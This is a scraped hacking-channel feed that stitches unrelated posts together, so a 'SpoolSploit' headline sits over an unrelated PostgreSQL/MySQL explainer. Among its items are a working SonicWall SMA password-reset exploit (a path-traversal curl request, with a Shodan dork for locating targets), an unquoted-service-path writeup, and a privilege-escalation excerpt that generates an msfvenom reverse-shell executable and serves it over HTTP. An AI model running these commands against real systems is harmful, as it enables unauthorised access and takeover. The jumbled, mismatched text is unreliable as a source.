Kali Linux Tutorials
SpoolSploit : A Collection Of Windows Print Spooler Exploits

___________________________
@hacking_Attack
@Hacking_Video

MpCjg0_6Wn9sTHp7SNIlt67Wu8sJpQxTiNkhi5wXoEwqRBlocOLyum7JsLL5oADCnvHctJO4XdRL9JqkiZeo6EdWpHFjg2DToWn-P8KE8OJO_KdqGwUAs=s1600 If you are still learning about relational databases, you might be wondering: What is PostgreSQL? I have never heard of it!

It is an open source RDBMS. It started as the POSTGRES project at the University of California in 1986. It is being developed and maintained by the PostgreSQL Global Development Group. It runs on all major operating systems and contains 170 of the 179 mandatory features for SQL:2016 Core Conformance.

1. MySQL MySQL is another very popular relational database and a must-know for people who are in the field.

It is an open source RDBMS that uses SQL standard. It is supported by Oracle and is ideal for both small and large applications. It is an easy-to-use, fast, and scalable relational database. It is widely used as a database for web applications built with PHP but has other use cases too. SummaryRelational databases have been at the center of application development for the last few decades for storing, managing, and processing data. It provides an efficient mechanism to maintain the integrity of the RDBMS by enforcing constraints and reducing data redundancy with the help of data normalizations. Furthermore, we can perform complex queries on our data in relational databases by using SQL.

There are many relational databases, some proprietary and others open source. It is an integral part of modern application development.

___________________________
@hacking_Attack
@Hacking_Video

Warp V2 Bug Bounty Program with Immunefi
https://warpfinance.medium.com/warp-v2-bug-bounty-program-with-immunefi-6fefb23d98ac?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Warp Finance is ensuring the security of its V2 test launch through a bug bounty. This bug bounty program will be hosted by Immunefi, and…Continue reading on Medium » (https://warpfinance.medium.com/warp-v2-bug-bounty-program-with-immunefi-6fefb23d98ac?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
where to buy hacker tools

hello does anyone know a website to buy hacker that uses PayPal and ships to the Netherlands. because i want to start a youtube channel where i show hacker tools

submitted by /u/brendanvds2007
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Services On The Dark Web Are Now Cheaper Than Ever

https://cdn-images-1.medium.com/max/1280/1*W9jdXFW4cW4B6YgcB9FUvQ.jpeg
An experiment done by Bitglass in 2015 has been recreated by generating a fictional identity that sells login and password data. In…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
XSS(CROSS-SITE SCRIPTING)

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
⭐ [BEST SELLER] — Profit Hacking, Gagner de l’argent sans travailler ! ⭐

J’ai toujours été fasciné par l’idée de gagner de l’argent sans travailler. Cela semble être un rêve devenu réalité pour ceux qui veulent…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Copa Tianfu: hackean iOS 15, Chrome, Windows; Ubuntu, VMWare, etc.

https://cdn-images-1.medium.com/max/1386/0*v7pmmz3vU4U79NXN
PUBLICADO EN 20 OCTUBRE, 2021POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
SonicWall SMA 10.2.1.0-17sv Password Reset

https://4.bp.blogspot.com/-9fc43SI8K3Q/WWlvhaBflZI/AAAAAAAAIQU/x3qxae6Q3eMl1Wf8m-XtOKQ3MaKSPPWfQCLcBGAs/s1600/h90.png
SonicWall SMA version 10.2.1.0-17sv suffers from a remote password reset vulnerability.

MD5 | fc825fd8b67124f85d0945de3adb5652

Download
# Exploit Title: SonicWall SMA 10.2.1.0-17sv - Password Reset
# Description: Overwrite the persistent database, resulting in password reset on reboot.
# Shodan Dork: https://www.shodan.io/search?query=title%3A%22Virtual+Office%22+%22Server%3A+SonicWall%22
# Date: 10/19/2021
# Exploit Author: Jacob Baines (@Junior_Baines)
# Root Cause Analysis: https://attackerkb.com/topics/23t9VCbGzt/cve-2021-20034/rapid7-analysis?referrer=profile
# Vendor Homepage: https://www.sonicwall.com/
# Version: SMA 100 Series using 9.0.0.10-28sv, 10.2.0.7-34sv, and 10.2.1.0-17sv
# Tested on: SMA 500v using 9.0.0.10-28sv and 10.2.1.0-17sv
# CVE : CVE-2021-20034

curl -v --insecure "https://10.0.0.6/cgi-bin/handleWAFRedirect?hdl=../flash/etc/EasyAccess/var/conf/persist.db"


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Macro Expert 4.7 Unquoted Service Path

https://4.bp.blogspot.com/-rlkVZrkp7Nk/WWlvMMd1AsI/AAAAAAAAIMM/kgTZoxpDP8Ypbt5o2Ma3tAKenLk3_TLPQCLcBGAs/s1600/h18.png
Macro Expert version 4.7 suffers from an unquoted service path vulnerability.

MD5 | 51532c02ab263da0f098a4deb631668b

Download
# Exploit Title: Macro Expert 4.7 - Unquoted Service Path
# Exploit Author: Mert DAŞ
# Version: 3.11.8
# Date: 20.10.2021
# Vendor Homepage: http://www.macro-expert.com/
# Tested on: Windows 10

C:\Users\Mert>sc qc "Macro Expert"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Macro Expert
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : c:\program files (x86)\grasssoft\macro
expert\MacroService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Macro Expert
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
---------------------------------------------

Or:
-------------------------
C:\Users\Mert>wmic service get name,displayname,pathname,startmode |findstr
/i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
#Exploit:

A successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other security
applications where it could potentially be executed during application
startup or reboot. If successful, the local user's code would execute with
the elevated privileges of the application.


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Windows Privilege Escalation: Stored Credentials

Microsoft Windows offers a wide range of fine-grained permissions and privileges for controlling access to Windows components including services, files, and registry entries. Exploiting Stored Credentialsis one technique to increase privileges. Introductionlets you view and deletes your saved credentials for signing in to websites, connected applications, and networks. It is like a digital vault to keep all of your credentials safe. Web credentials:As Edge and widows are the product of the same company, the credentials manager has access to the stored information of the Edge browser too, in order to increase the safekeeping of saved credentials. It also stores the password of order applications provided by Microsoft such as skype, Microsoft office, etc.Windows credentials:Under this category, all the windows login credentials can be found. Along with any system that is connected to the network. user accounts > credential manager.Abusing Stored CredentialIf an attacker identifies stored credential entry for an administrator account then the attacker can go for privilege escalation by executing a malicious file with the help of runas utility.Create Malicious Executable To get a reverse shell as NT Authority SYSTEM, let’s create a malicious exe file that could be executed using runas utility. It allows a user to run specific tools and programs with different permissions than the user's current logon provides.msfvenom –p windows/shell_reverse_tcp lhost=192.168.1.3 lport=8888 –f exe > Vuln.exe python –m SimpleHTTPServer 80___________________________
@hacking_Attack
@Hacking_Video